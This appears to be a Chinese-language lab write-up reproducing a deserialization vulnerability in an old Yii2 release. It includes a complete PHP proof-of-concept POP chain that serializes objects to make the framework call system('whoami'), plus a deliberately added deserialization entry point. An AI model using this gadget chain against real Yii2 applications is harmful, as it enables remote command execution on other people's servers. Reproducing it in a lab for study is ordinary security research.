為了方便安裝,直接在github(https://github.com/yiisoft/yii2)下載一個release的低版本,然后解壓tgz文件到phpstudy的www的目錄下,命名為Yii2:
需要注意的是,php拓展需要勾選openssl,然后再執行php init安裝Yii2,否則會報錯,安裝完成后訪問一下,證明就安裝成功了:
POC:
<?php
namespace yii\db;
class BatchQueryResult extends \yii\base\BaseObject{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new \Faker\Generator();
}
}
namespace yii\base;
class BaseObject{
}
namespace yii\rest;
class Action{
public $checkAccess='system';
public $id='whoami';
}
class IndexAction extends Action{
}
namespace Faker;
class Generator{
protected $formatters = array();
public function __construct()
{
$this->formatters['close']=[(new \yii\rest\IndexAction()),"run"];
}
}
use \yii\db\BatchQueryResult;
$c=new BatchQueryResult();
print(serialize($c));
pop鏈師傅們已經分析好了,還需要自己構造一個反序列化的入口,在controllers下新建一個TestController.php:
先測試下:
然后發送payload:
參考鏈接:
https://mp.weixin.qq.com/s/NHBpF446yKQbRTiNQr8ztA
https://github.com/yiisoft/yii2/